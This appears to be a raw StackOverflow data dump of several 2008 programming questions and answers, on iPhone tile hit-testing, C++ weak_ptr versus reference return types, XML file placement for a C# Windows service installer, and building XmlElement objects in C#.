"text": "<ol>\n<li>Not really, in my experience.</li>\n<li>From the way you've set up your views, there would seem to be a much more efficient way to determine which one was tapped:</li>\n</ol>\n\n<p><code><pre></p>\n\n<pre><code> //In your init method, make sure each tile doesn't respond to clicks on its own\n ...\n tile.userInteractionEnabled = NO;\n ...\n\n\n - (void) touchesMoved: (NSSet *)touches withEvent:(UIEvent *)event {\n CGPoint tappedPt = [[touches anyObject] locationInView: self];\n int xPos = tappedPt.x / (TILE_SPACING + TILE_PADDING);\n int yPos = tappedPt.y / (TILE_SPACING + TILE_PADDING);\n int tilesAcross = (self.bounds.size.width / (TILE_SPACING + TILE_PADDING));\n int index = xPos + yPos * tilesAcross;\n\n if (index < self.subviews.count) {\n UIView *tappedTile = [self.subviews objectAtIndex: index];\n tappedTile.hidden = YES;\n }\n }\n</code></pre>\n\n<p></pre></code></p>\n\n<ol start=\"3\">\n<li>You need to more clearly decide what should happen in your parent, and what should happen in each tile. You mentioned above that you wanted the tiles to receive touchesBegan events, but you didn't include any code for this. As you presented this, you should probably think about using layers instead of views (if you're not doing any tile-specific event handling). What you've got here can all be done with event tracking within the parent. Keep in mind that if you have TOO many views (or layers), it's gonna get slow. We tried grids of 15x15 in Crosswords, and while it was okay for some things, eventually we gave up on the grid-of-layers approach. </li>\n</ol>\n\n<p>(Not sure why the numbering restarted with 1 here...)</p>\n"
},
{
"answer_id": 401714,
"author": "Duck",
"author_id": 316469,
"author_profile": "https://Stackoverflow.com/users/316469",
"pm_score": 1,
"selected": false,
"text": "<p>Just an idea that may help... I have not tested this, but, after detecting the tap on a particular imageview turn off userInteractionEnabled of the all other imageviews... </p>\n\n<p>I suppose this will help increase a little bit the speed, as iPhone will not last resources trying to find which image is being tapped during a drag. The same is true for multitouch.</p>\n"
},
{
"answer_id": 472095,
"author": "Corey Floyd",
"author_id": 48311,
"author_profile": "https://Stackoverflow.com/users/48311",
"pm_score": 3,
"selected": false,
"text": "<p>one addition, instead of hit testing, you can just check if the point lies in the CGRect that represents the frame of each subview. I have a similar app, and this worked best for me.</p>\n\n<pre><code>for (UIView* aSubview in self.subviews) {\n\n if([aSubview pointInside: [self convertPoint:touchPoint toView:aSubview] withEvent:event]){\n\n //Do stuff\n }\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215383",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1987/"
] |
I have a custom UIView that generates a set of subviews and display them in rows and columns like tiles. What I am trying to achieve is to allow the user to touch the screen and as the finger move, the tiles beneath it disappears.
The code below is the custom UIView that contains the tiles:
```
- (id)initWithFrame:(CGRect)frame {
if (self = [super initWithFrame:frame]) {
int i, j;
int maxCol = floor(self.frame.size.width/TILE_SPACING);
int maxRow = floor(self.frame.size.height/TILE_SPACING);
CGRect frame = CGRectMake(0, 0, TILE_WIDTH, TILE_HEIGHT);
UIView *tile;
for (i = 0; i<maxCol; i++) {
for (j = 0; j < maxRow; j++) {
frame.origin.x = i * (TILE_SPACING) + TILE_PADDING;
frame.origin.y = j * (TILE_SPACING) + TILE_PADDING;
tile = [[UIView alloc] initWithFrame:frame];
[self addSubview:tile];
[tile release];
}
}
}
return self;
}
- (void)touchesBegan: (NSSet *)touches withEvent:(UIEvent *)event {
UIView *tile = [self hitTest:[[touches anyObject] locationInView:self] withEvent:nil];
if (tile != self)
[tile setHidden:YES];
}
- (void)touchesMoved: (NSSet *)touches withEvent:(UIEvent *)event {
UIView *tile = [self hitTest:[[touches anyObject] locationInView:self] withEvent:nil];
if (tile != self)
[tile setHidden:YES];
}
```
This approach works but however if the tiles get denser (i.e. small tiles and more tiles on the screen). The iPhone is less responsive as the finger move. It may be the hitTest taking a toll on the processor as it struggles to keep up but would like some opinions.
My questions are:
1. Is this an efficient way / right way to implement the touchesMoved?
2. If it isn't, what would be the recommended approach?
3. I tried moving the functionality into a custom Tile class (a sub UIView) which the class above would create and add as a subview. This subview Tile can handle the TouchesBegan but as the finger move, the other tiles does not receive the TouchesBegan even since the touches are still part of the initial touch sequence. Is there a way to implement it through the subview Tile class, how do other tiles receive the TouchesBegan/TouchesMoved event as the finger move?
|
1. Not really, in my experience.
2. From the way you've set up your views, there would seem to be a much more efficient way to determine which one was tapped:
```
//In your init method, make sure each tile doesn't respond to clicks on its own
...
tile.userInteractionEnabled = NO;
...
- (void) touchesMoved: (NSSet *)touches withEvent:(UIEvent *)event {
CGPoint tappedPt = [[touches anyObject] locationInView: self];
int xPos = tappedPt.x / (TILE_SPACING + TILE_PADDING);
int yPos = tappedPt.y / (TILE_SPACING + TILE_PADDING);
int tilesAcross = (self.bounds.size.width / (TILE_SPACING + TILE_PADDING));
int index = xPos + yPos * tilesAcross;
if (index < self.subviews.count) {
UIView *tappedTile = [self.subviews objectAtIndex: index];
tappedTile.hidden = YES;
}
}
```
3. You need to more clearly decide what should happen in your parent, and what should happen in each tile. You mentioned above that you wanted the tiles to receive touchesBegan events, but you didn't include any code for this. As you presented this, you should probably think about using layers instead of views (if you're not doing any tile-specific event handling). What you've got here can all be done with event tracking within the parent. Keep in mind that if you have TOO many views (or layers), it's gonna get slow. We tried grids of 15x15 in Crosswords, and while it was okay for some things, eventually we gave up on the grid-of-layers approach.
(Not sure why the numbering restarted with 1 here...)
|
215,399 |
<p>Suppose I have a class where I want the user to be able to have a reference to one of my members. Which is preferred?</p>
<pre><code>class Member;
class ClassWithWeakPtr
{
private:
boost::shared_ptr<Member> _member;
public:
boost::weak_ptr<Member> GetMember();
};
</code></pre>
<p>or</p>
<pre><code>class Member;
class ClassWithCppReference
{
private:
Member _member;
public:
Member& GetMember() {return _member;}
};
</code></pre>
<p>What do you think? When is one better than another?</p>
|
[
{
"answer_id": 215400,
"author": "Doug T.",
"author_id": 8123,
"author_profile": "https://Stackoverflow.com/users/8123",
"pm_score": 0,
"selected": false,
"text": "<p>My basic, ignorant guideline:</p>\n\n<p>I'm realizing the latter can be unsafe if the instance of ClassWithCppReference may go away while someone still has a reference to a member. However, I can also see an argument for the latter class with POD types, such as say, a message to a device, and you didn't want to copy the member all the time.</p>\n"
},
{
"answer_id": 215428,
"author": "Michael Burr",
"author_id": 12711,
"author_profile": "https://Stackoverflow.com/users/12711",
"pm_score": 4,
"selected": false,
"text": "<p>Why not return a <code>shared_ptr<></code>? Thatway the client gets to use what's returned for as long as he needs it, but there is no problem if the 'server' class goes away.</p>\n\n<p>There are not too many situations where the semantics of <code>weak_ptr<></code> make a lot of sense (caches and ???). Usually when a client asks for something, it want to have ownership of that thing determined by the client itself (and shared ownership is just as good as full ownership).</p>\n\n<p>If you have a situation where the 'server' object can be destroyed without knowledge of the client (a situation where you might want to <code>use weak_ptr<></code> or <code>shared_ptr<></code>) about the worst thing you can do is return a reference to a member. In this case, the client can't know whether or not it's safe to access the returned reference. You have to return a copy of the member or a smart pointer that can correctly manage the lifetime of the member being returned.</p>\n\n<p>Remember that in the case where there's an expression that produces a temporary <code>ClassWithCppReference</code> (which is not always obvious), the client that calls <code>GetMember()</code> won't even be able to use the returned reference in the next statement.</p>\n"
},
{
"answer_id": 215453,
"author": "Nicola Bonelli",
"author_id": 19630,
"author_profile": "https://Stackoverflow.com/users/19630",
"pm_score": 2,
"selected": false,
"text": "<p>You should avoid giving away your internals; it's the guideline n. 42 of \"C++ coding standards\" (Herb Sutter and Andrei Alexandrescu). If for some reasons you have to, better to return a <strong>const reference</strong> and not a pointer because the <em>constness</em> does not propagate through it. </p>\n\n<p>weak_ptr<> seems to be a viable solution even if its basic purpose is to avoid cycles of shared_ptr. Instead if you return a shared_ptr<> you extend the life of such internal which in most of the cases does not make sense.</p>\n\n<p>The problem with the instance that goes away while someone handles a reference to its internals should be faced with a correct synchronization/communication between threads.</p>\n"
},
{
"answer_id": 215553,
"author": "Sol",
"author_id": 27029,
"author_profile": "https://Stackoverflow.com/users/27029",
"pm_score": 2,
"selected": false,
"text": "<p>I think the only reasonable answer is, it depends on how Member is related to the Class, and what you want users of Class to be able to do. Does <code>_member</code> have an meaningful existence which is independent of the Class object? If it doesn't, then I don't think using a <code>shared_ptr</code> for it makes any sense, whether you return a <code>weak_ptr</code> or a <code>shared_ptr</code>. Essentially either would be giving the user access to a Member object that could outlive the Class object that gives it meaning. That might prevent a crash, but at the cost of hiding a serious design error.</p>\n\n<p>As awgn indicates, you should be very careful about exposing your class internals. But I think there definitely is a place for it. For instance, I have a class in my code which represents a file object, composed of a file header object and a file data object. Completely duplicating the header interface in the file class would be silly and violate DRY. You could, I suppose, force the user to get a copy of the header object, make the changes to the copy, and then copy the external object back into the overall file class. But that's introducing a lot of inefficiency that only buys you the ability to make the file object representation of the header different than the header object representation. If you're sure that's not something you're going to want to do, you might as well return a non-const reference to the header -- it's simpler and more efficient.</p>\n"
},
{
"answer_id": 215566,
"author": "C. K. Young",
"author_id": 13,
"author_profile": "https://Stackoverflow.com/users/13",
"pm_score": 2,
"selected": false,
"text": "<p>I want to bring up something in response to the comments (from the OP and Colomon, mainly) about efficiency etc. Often times copying stuff around really doesn't matter, in terms of real performance.</p>\n\n<p>I have written programs that do a lot of <a href=\"http://www.informit.com/articles/article.aspx?p=31551&seqNum=2\" rel=\"nofollow noreferrer\"><em>defensive copying</em></a>. It's an idiom in Java, where, because all objects are passed by pointer, there's lots of aliasing going on, so you copy anything going into/out of your class to break the aliasing, ensuring that clients of your class cannot violate your class invariants by modifying an object after the fact.</p>\n\n<p>The programs I've written have defensively copied whole structures in places, including entire lists and maps. Just to be sure that performance isn't affected, I profiled the program extensively. The main bottlenecks were elsewhere (and even then, I tuned those other places so that the main bottleneck left is the network). Nowhere did this defensive copying figure into the hot spots of the program.</p>\n\n<hr>\n\n<p>ETA: I feel the need to clarify the point of my message, since one commenter read it differently from how I intended, and quite possibly others have done too. My point isn't that it's okay to copy stuff around willy-nilly; but rather, one should always profile the performance of their code, rather than guess wildly at how it will perform.</p>\n\n<p>Sometimes, when copying whole structures still gives acceptable performance, and at the same time make the code easier to write, then in my opinion, that is a better tradeoff (in most cases) than code that's only marginally faster but much more complicated.</p>\n"
},
{
"answer_id": 216490,
"author": "Timo Geusch",
"author_id": 29068,
"author_profile": "https://Stackoverflow.com/users/29068",
"pm_score": -1,
"selected": false,
"text": "<p>Depending on the context, either one could be fine. The main problem with returning a 'live' link to a member (if you have to expose one in the first place) is that whoever uses the exposed member is that your client might hold onto it longer than the containing object exists. And if your client accesses said member via a reference when its containing object goes out of scope, you'll be facing 'odd' crashes, wrong values and similar fun. Not recommended.</p>\n\n<p>Returning the weak_ptr<> has the major advantage that it would be able to communicate to the client that the object they are trying access is gone, which the reference can't do.</p>\n\n<p>My 2 pennies' worth would be:</p>\n\n<ul>\n<li>If none of your clients would ever use the member, you as the author are the only person to make use of it and control the object lifetimes, returning a reference is fine. Const reference would be even better but that's not always possible in the real world with existing code.</li>\n<li>If anybody else would access and use the member, especially if you are writing a library, return the weak_ptr<>. It'll save you a lot of grief and will make debugging easier.</li>\n<li>I would not return a shared_ptr<>. I've seen this approach and it is usually favoured by people who are uncomfortable with the concept of a weak_ptr/weak reference. The main downside I see with it is that it will artificially extend the lifetime of another object's member beyond the scope of its containing object. That is conceptually wrong in 99% of cases and worse, can turn your programming error (accessing something that isn't there anymore) into a conceptual error (accessing something that <em>shouldn't</em> be there anymore).</li>\n</ul>\n"
},
{
"answer_id": 670280,
"author": "Jimmy J",
"author_id": 73869,
"author_profile": "https://Stackoverflow.com/users/73869",
"pm_score": 1,
"selected": false,
"text": "<p>Returning a weak pointer will definitely be more expensive and serves no real purpose - you can't hang on to ownership for longer than the life of the main object anyway.</p>\n"
},
{
"answer_id": 670286,
"author": "Brock Woolf",
"author_id": 40002,
"author_profile": "https://Stackoverflow.com/users/40002",
"pm_score": 1,
"selected": false,
"text": "<p>Why return a weak pointer? I think you are making it more complicated with no necessary benefit.</p>\n"
},
{
"answer_id": 1164758,
"author": "Tobias",
"author_id": 118854,
"author_profile": "https://Stackoverflow.com/users/118854",
"pm_score": 0,
"selected": false,
"text": "<p>In most situations, I would provide</p>\n\n<pre><code>const Member& GetMember() const;\nMember& GetMember(); // ideally, only if clients can modify it without\n // breaking any invariants of the Class\n\nweak_ptr< Member > GetMemberWptr(); // only if there is a specific need\n // for holding a weak pointer.\n</code></pre>\n\n<p>The rationale behind this is that (too me and probably many others) calling a method <code>GetMember()</code> implies that <code>Class</code> owns <code>member</code> and therefore the returned reference\nwill only be valid for the lifetime of the containing object.</p>\n\n<p>In most (but not all) code I have come across, <code>GetMember()</code> methods are generally used to do stuff with the returned member right away and not storing it away for later user. After all, if you need access to the member, you can always request it from the containing object at any time it is needed.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215399",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8123/"
] |
Suppose I have a class where I want the user to be able to have a reference to one of my members. Which is preferred?
```
class Member;
class ClassWithWeakPtr
{
private:
boost::shared_ptr<Member> _member;
public:
boost::weak_ptr<Member> GetMember();
};
```
or
```
class Member;
class ClassWithCppReference
{
private:
Member _member;
public:
Member& GetMember() {return _member;}
};
```
What do you think? When is one better than another?
|
Why not return a `shared_ptr<>`? Thatway the client gets to use what's returned for as long as he needs it, but there is no problem if the 'server' class goes away.
There are not too many situations where the semantics of `weak_ptr<>` make a lot of sense (caches and ???). Usually when a client asks for something, it want to have ownership of that thing determined by the client itself (and shared ownership is just as good as full ownership).
If you have a situation where the 'server' object can be destroyed without knowledge of the client (a situation where you might want to `use weak_ptr<>` or `shared_ptr<>`) about the worst thing you can do is return a reference to a member. In this case, the client can't know whether or not it's safe to access the returned reference. You have to return a copy of the member or a smart pointer that can correctly manage the lifetime of the member being returned.
Remember that in the case where there's an expression that produces a temporary `ClassWithCppReference` (which is not always obvious), the client that calls `GetMember()` won't even be able to use the returned reference in the next statement.
|
215,471 |
<p>In VS2008 I have written a C# service, an installer, and have created a setup package to install it. The service needs to load an xml file to operate. Where is the best place to put this file in the various filesystem folders offered by the VS setup project, and how do I then refer to these paths from my code?</p>
<p>I should point out the the service runs as <code>LocalService</code>, which means that the ApplicationData folder offered by the "User's Application Data Folder" item in the VS setup project is not accessible, even when "Install for all users" is used during installation. I could easily hack around this, but would like to understand best practice.</p>
|
[
{
"answer_id": 215538,
"author": "mohammedn",
"author_id": 29268,
"author_profile": "https://Stackoverflow.com/users/29268",
"pm_score": 3,
"selected": true,
"text": "<p>I am not sure which place is better to store the XML file. I don't think it will matter alot. But if you need to get special folder path in the system you can use Environment class to do so. The following line of code get the path of the Program Files:</p>\n\n<pre><code>string path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);\n</code></pre>\n"
},
{
"answer_id": 215555,
"author": "DylanJ",
"author_id": 87,
"author_profile": "https://Stackoverflow.com/users/87",
"pm_score": 0,
"selected": false,
"text": "<p>You could always use the registry.</p>\n"
},
{
"answer_id": 7052450,
"author": "rudolf_franek",
"author_id": 872496,
"author_profile": "https://Stackoverflow.com/users/872496",
"pm_score": 1,
"selected": false,
"text": "<p>To read installation path used by installer created from setup project:</p>\n\n<p>1) Open \"Custom Actions\" editor in your setup project</p>\n\n<p>2) Add custom action from your assembly where your installer class is located (If you haven't done so already)</p>\n\n<p>3) Select this custom action and add <code>/myKey=\"[TARGETDIR]\\\"</code> to CustomActionData in property grid</p>\n\n<p>4) In your Installer class you may access your value as follows: <code>Context.Parameters[\"myKey\"]</code> in your method override dependent on your choice in step 2</p>\n"
},
{
"answer_id": 18819655,
"author": "RenniePet",
"author_id": 253938,
"author_profile": "https://Stackoverflow.com/users/253938",
"pm_score": 1,
"selected": false,
"text": "<p>This is a very old question, but since I disagree with the accepted answer, at least if the XML file will be updated by the program, I'll post this anyway.</p>\n\n<p>What I do when installing a server-style program (Windows service or other non-user-specific program) is to install a default or template XML settings file in Program Files along with the program. But I never try to write to that file - this is typically not allowed.</p>\n\n<p>Instead, during program initialization I test if the file has previously been copied to a sub-folder that I create under C:\\ProgramData, i.e., \"C:\\ProgramData\\myCompanyName\\myProgramName\\mySettingsFile.xml\". (Find C:\\ProgramData using Environment.SpecialFolder.CommonApplicationData - see here: <a href=\"http://msdn.microsoft.com/en-us/library/system.environment.specialfolder.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/system.environment.specialfolder.aspx</a>). If the XML settings file already exists I just open it and use it - it is writable. If it does not exist, then I create the sub-folders if necessary and copy the template XML settings file from Program Files - this should be a one-time operation that is only done the first time the program is run after installation.</p>\n\n<p>See here for more information: <a href=\"https://stackoverflow.com/questions/1556082/as-a-developer-how-should-i-use-the-special-folders-in-windows-vista-and-windo\">As a developer, how should I use the special folders in Windows Vista (and Windows 7)?</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215471",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14357/"
] |
In VS2008 I have written a C# service, an installer, and have created a setup package to install it. The service needs to load an xml file to operate. Where is the best place to put this file in the various filesystem folders offered by the VS setup project, and how do I then refer to these paths from my code?
I should point out the the service runs as `LocalService`, which means that the ApplicationData folder offered by the "User's Application Data Folder" item in the VS setup project is not accessible, even when "Install for all users" is used during installation. I could easily hack around this, but would like to understand best practice.
|
I am not sure which place is better to store the XML file. I don't think it will matter alot. But if you need to get special folder path in the system you can use Environment class to do so. The following line of code get the path of the Program Files:
```
string path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
```
|
215,515 |
<p>I have a simple class that essentially just holds some values. I have overridden the <code>ToString()</code> method to return a nice string representation.</p>
<p>Now, I want to create a <code>ToXml()</code> method, that will return something like this:</p>
<pre><code><Song>
<Artist>Bla</Artist>
<Title>Foo</Title>
</Song>
</code></pre>
<p>Of course, I could just use a <code>StringBuilder</code> here, but I would like to return an <code>XmlNode</code> or <code>XmlElement</code>, to be used with <code>XmlDocument.AppendChild</code>.</p>
<p>I do not seem to be able to create an <code>XmlElement</code> other than calling <code>XmlDocument.CreateElement</code>, so I wonder if I have just overlooked anything, or if I really either have to pass in either a <code>XmlDocument</code> or <code>ref XmlElement</code> to work with, or have the function return a String that contains the XML I want?</p>
|
[
{
"answer_id": 215559,
"author": "Murph",
"author_id": 1070,
"author_profile": "https://Stackoverflow.com/users/1070",
"pm_score": 2,
"selected": false,
"text": "<p>You need Linq - System.Xml.Linq to be precise.</p>\n\n<p>You can create XML using XElement from scratch - that should pretty much sort you out.</p>\n"
},
{
"answer_id": 215565,
"author": "Panos",
"author_id": 8049,
"author_profile": "https://Stackoverflow.com/users/8049",
"pm_score": 4,
"selected": false,
"text": "<p>From W3C <a href=\"http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html\" rel=\"noreferrer\">Document Object Model (Core) Level 1</a> specification (bold is mine):</p>\n\n<blockquote>\n <p>Most of the APIs defined by this\n specification are interfaces rather\n than classes. That means that an\n actual implementation need only expose\n methods with the defined names and\n specified operation, not actually\n implement classes that correspond\n directly to the interfaces. This\n allows the DOM APIs to be implemented\n as a thin veneer on top of legacy\n applications with their own data\n structures, or on top of newer\n applications with different class\n hierarchies. <strong>This also means that\n ordinary constructors (in the Java or\n C++ sense) cannot be used to create\n DOM objects, since the underlying\n objects to be constructed may have\n little relationship to the DOM\n interfaces</strong>. The conventional solution\n to this in object-oriented design is\n to define factory methods that create\n instances of objects that implement\n the various interfaces. In the DOM\n Level 1, objects implementing some\n interface \"X\" are created by a\n \"createX()\" method on the Document\n interface; <strong>this is because all DOM\n objects live in the context of a\n specific Document</strong>.</p>\n</blockquote>\n\n<p>AFAIK, you can not create any <code>XmlNode</code> (<code>XmlElement, XmlAttribute, XmlCDataSection</code>, etc) except <code>XmlDocument</code> from a constructor. </p>\n\n<p>Moreover, note that you can not use <code>XmlDocument.AppendChild()</code> for nodes that are not created via the factory methods of the <strong>same</strong> document. In case you have a node from another document, you must use <code>XmlDocument.ImportNode()</code>.</p>\n"
},
{
"answer_id": 215568,
"author": "mohammedn",
"author_id": 29268,
"author_profile": "https://Stackoverflow.com/users/29268",
"pm_score": 6,
"selected": false,
"text": "<p>I would recommend to use XDoc and XElement of System.Xml.Linq instead of XmlDocument stuff. This would be better and you will be able to make use of the LINQ power in querying and parsing your XML:</p>\n\n<p>Using XElement, your ToXml() method will look like the following:</p>\n\n<pre><code>public XElement ToXml()\n{\n XElement element = new XElement(\"Song\",\n new XElement(\"Artist\", \"bla\"),\n new XElement(\"Title\", \"Foo\"));\n\n return element;\n}\n</code></pre>\n"
},
{
"answer_id": 215659,
"author": "Vlad N",
"author_id": 28472,
"author_profile": "https://Stackoverflow.com/users/28472",
"pm_score": 5,
"selected": true,
"text": "<p>You may want to look at how you can use the built-in features of .NET to serialize and deserialize an object into XML, rather than creating a <code>ToXML()</code> method on every class that is essentially just a Data Transfer Object.</p>\n\n<p>I have used these techniques successfully on a couple of projects but don’t have the implementation details handy right now. I will try to update my answer with my own examples sometime later.</p>\n\n<p>Here's a couple of examples that Google returned:</p>\n\n<p>XML Serialization in .NET by Venkat Subramaniam <a href=\"http://www.agiledeveloper.com/articles/XMLSerialization.pdf\" rel=\"noreferrer\">http://www.agiledeveloper.com/articles/XMLSerialization.pdf</a></p>\n\n<p>How to Serialize and Deserialize an object into XML <a href=\"http://www.dotnetfunda.com/articles/article98.aspx\" rel=\"noreferrer\">http://www.dotnetfunda.com/articles/article98.aspx</a></p>\n\n<p>Customize your .NET object XML serialization with .NET XML attributes <a href=\"http://blogs.microsoft.co.il/blogs/rotemb/archive/2008/07/27/customize-your-net-object-xml-serialization-with-net-xml-attributes.aspx\" rel=\"noreferrer\">http://blogs.microsoft.co.il/blogs/rotemb/archive/2008/07/27/customize-your-net-object-xml-serialization-with-net-xml-attributes.aspx</a></p>\n"
},
{
"answer_id": 216108,
"author": "Robert Rossney",
"author_id": 19403,
"author_profile": "https://Stackoverflow.com/users/19403",
"pm_score": 1,
"selected": false,
"text": "<p>You can't return an <code>XmlElement</code> or an <code>XmlNode</code>, because those objects always and only exist within the context of an owning <code>XmlDocument</code>.</p>\n\n<p>XML serialization is a little easier than returning an <code>XElement</code>, because all you have to do is mark properties with attributes and the serializer does all the XML generation for you. (Plus you get deserialization for free, assuming you have a parameterless constructor and, well, a bunch of other things.)</p>\n\n<p>On the other hand, a) you have to create an <code>XmlSerializer</code> to do it, b) dealing with collection properties isn't quite the no-brainer you might like it to be, and c) XML serialization is pretty dumb; you're out of luck if you want to do anything fancy with the XML you're generating. </p>\n\n<p>In a lot of cases, those issues don't matter one bit. I for one would rather mark my properties with attributes than write a method.</p>\n"
},
{
"answer_id": 2152131,
"author": "someone",
"author_id": 260618,
"author_profile": "https://Stackoverflow.com/users/260618",
"pm_score": 2,
"selected": false,
"text": "<p>You could return an <code>XmlDocument</code> for the <code>ToXML</code> method in your class, then when you are going to add the Element with the result document just use something like:</p>\n\n<pre><code>XmlDocument returnedDocument = Your_Class.ToXML();\n\nXmlDocument finalDocument = new XmlDocument();\nXmlElement createdElement = finalDocument.CreateElement(\"Desired_Element_Name\");\ncreatedElement.InnerXML = docResult.InnerXML;\nfinalDocument.AppendChild(createdElement);\n</code></pre>\n\n<p>That way the entire value for \"Desired_Element_Name\" on your result XmlDocument will be the entire content of the returned Document.</p>\n\n<p>I hope this helps.</p>\n"
},
{
"answer_id": 9305175,
"author": "Matt Connolly",
"author_id": 365932,
"author_profile": "https://Stackoverflow.com/users/365932",
"pm_score": 2,
"selected": false,
"text": "<p>Create a new XmlDocument with the contents you want and then import it into your existing document, by accessing the OwnerDocument property of your existing nodes:</p>\n\n<pre><code>XmlNode existing_node; // of some document, where we don't know necessarily know the XmlDocument...\nXmlDocument temp = new XmlDocument();\ntemp.LoadXml(\"<new><elements/></new>\");\nXmlNode new_node = existing_node.OwnerDocument.ImportNode(temp.DocumentElement, true);\nexisting_node.AppendChild(new_node);\n</code></pre>\n\n<p>Good luck.</p>\n"
},
{
"answer_id": 10077610,
"author": "Spook",
"author_id": 453803,
"author_profile": "https://Stackoverflow.com/users/453803",
"pm_score": 2,
"selected": false,
"text": "<p>Another option is to pass a delegate to method, which will create an XmlElement. This way the target method won't get access to whole XmlDocument, but will be able to create new elements.</p>\n"
},
{
"answer_id": 11848316,
"author": "Shelest",
"author_id": 998872,
"author_profile": "https://Stackoverflow.com/users/998872",
"pm_score": -1,
"selected": false,
"text": "<pre><code>XmlDocumnt xdoc = new XmlDocument;\nXmlNode songNode = xdoc.CreateNode(XmlNodeType.Element, \"Song\", schema)\nxdoc.AppendChild.....\n</code></pre>\n"
},
{
"answer_id": 13077037,
"author": "K0D4",
"author_id": 1181624,
"author_profile": "https://Stackoverflow.com/users/1181624",
"pm_score": 4,
"selected": false,
"text": "<p>XmlNodes come with an OwnerDocument property.</p>\n\n<p>Perhaps you can just do:</p>\n\n<pre><code>//Node is an XmlNode pulled from an XmlDocument\nXmlElement e = node.OwnerDocument.CreateElement(\"MyNewElement\");\ne.InnerText = \"Some value\";\nnode.AppendChild(e);\n</code></pre>\n"
},
{
"answer_id": 19300087,
"author": "ChrisH",
"author_id": 1820796,
"author_profile": "https://Stackoverflow.com/users/1820796",
"pm_score": 2,
"selected": false,
"text": "<p>Why not consider creating your data class(es) as just a subclassed XmlDocument, then you get all of that for free. You don't need to serialize or create any off-doc nodes at all, and you get structure you want. </p>\n\n<p>If you want to make it more sophisticated, write a base class that is a subclass of XmlDocument, then give it basic accessors, and you're set. </p>\n\n<p>Here's a generic type I put together for a project...</p>\n\n<pre><code>using System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.Xml;\nusing System.IO;\n\nnamespace FWFWLib {\n public abstract class ContainerDoc : XmlDocument {\n\n protected XmlElement root = null;\n protected const string XPATH_BASE = \"/$DATA_TYPE$\";\n protected const string XPATH_SINGLE_FIELD = \"/$DATA_TYPE$/$FIELD_NAME$\";\n\n protected const string DOC_DATE_FORMAT = \"yyyyMMdd\";\n protected const string DOC_TIME_FORMAT = \"HHmmssfff\";\n protected const string DOC_DATE_TIME_FORMAT = DOC_DATE_FORMAT + DOC_TIME_FORMAT;\n\n protected readonly string datatypeName = \"containerDoc\";\n protected readonly string execid = System.Guid.NewGuid().ToString().Replace( \"-\", \"\" );\n\n #region startup and teardown\n public ContainerDoc( string execid, string datatypeName ) {\n root = this.DocumentElement;\n this.datatypeName = datatypeName;\n this.execid = execid;\n if( null == datatypeName || \"\" == datatypeName.Trim() ) {\n throw new InvalidDataException( \"Data type name can not be blank\" );\n }\n Init();\n }\n\n public ContainerDoc( string datatypeName ) {\n root = this.DocumentElement;\n this.datatypeName = datatypeName;\n if( null == datatypeName || \"\" == datatypeName.Trim() ) {\n throw new InvalidDataException( \"Data type name can not be blank\" );\n }\n Init();\n }\n\n private ContainerDoc() { /*...*/ }\n\n protected virtual void Init() {\n string basexpath = XPATH_BASE.Replace( \"$DATA_TYPE$\", datatypeName );\n root = (XmlElement)this.SelectSingleNode( basexpath );\n if( null == root ) {\n root = this.CreateElement( datatypeName );\n this.AppendChild( root );\n }\n SetFieldValue( \"createdate\", DateTime.Now.ToString( DOC_DATE_FORMAT ) );\n SetFieldValue( \"createtime\", DateTime.Now.ToString( DOC_TIME_FORMAT ) );\n }\n #endregion\n\n #region setting/getting data fields\n public virtual void SetFieldValue( string fieldname, object val ) {\n if( null == fieldname || \"\" == fieldname.Trim() ) {\n return;\n }\n fieldname = fieldname.Replace( \" \", \"_\" ).ToLower();\n string xpath = XPATH_SINGLE_FIELD.Replace( \"$FIELD_NAME$\", fieldname ).Replace( \"$DATA_TYPE$\", datatypeName );\n XmlNode node = this.SelectSingleNode( xpath );\n if( null != node ) {\n if( null != val ) {\n node.InnerText = val.ToString();\n }\n } else {\n node = this.CreateElement( fieldname );\n if( null != val ) {\n node.InnerText = val.ToString();\n }\n root.AppendChild( node );\n }\n }\n\n public virtual string FieldValue( string fieldname ) {\n if( null == fieldname ) {\n fieldname = \"\";\n }\n fieldname = fieldname.ToLower().Trim();\n string rtn = \"\";\n XmlNode node = this.SelectSingleNode( XPATH_SINGLE_FIELD.Replace( \"$FIELD_NAME$\", fieldname ).Replace( \"$DATA_TYPE$\", datatypeName ) );\n if( null != node ) {\n rtn = node.InnerText;\n }\n return rtn.Trim();\n }\n\n public virtual string ToXml() {\n return this.OuterXml;\n }\n\n public override string ToString() {\n return ToXml();\n }\n #endregion\n\n #region io\n public void WriteTo( string filename ) {\n TextWriter tw = new StreamWriter( filename );\n tw.WriteLine( this.OuterXml );\n tw.Close();\n tw.Dispose();\n }\n\n public void WriteTo( Stream strm ) {\n TextWriter tw = new StreamWriter( strm );\n tw.WriteLine( this.OuterXml );\n tw.Close();\n tw.Dispose();\n }\n\n public void WriteTo( TextWriter writer ) {\n writer.WriteLine( this.OuterXml );\n }\n #endregion\n\n }\n}\n</code></pre>\n"
},
{
"answer_id": 72846514,
"author": "Faraz Ahmed",
"author_id": 6002727,
"author_profile": "https://Stackoverflow.com/users/6002727",
"pm_score": 0,
"selected": false,
"text": "<p>Used this to create XElement</p>\n<pre><code>string elementWithData = @"<Song>\n <Artist>Bla</Artist>\n <Title>Foo</Title>\n </Song>";\n\nXElement e = XElement.Parse(elementWithData);\nvar nodeToCopy = ToXmlNode(e);\n//for using this node in other XmlDocument\nvar xmlNodeToUseInOtherXmlDocument = nodeToCopy.FirstChild;\n</code></pre>\n<p>and add this function to convert XElement to XmlNode</p>\n<pre><code>static XmlNode ToXmlNode(XElement element)\n{\n using (XmlReader xmlReader = element.CreateReader())\n {\n XmlDocument xmlDoc = new XmlDocument();\n xmlDoc.Load(xmlReader);\n return xmlDoc;\n }\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215515",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/91/"
] |
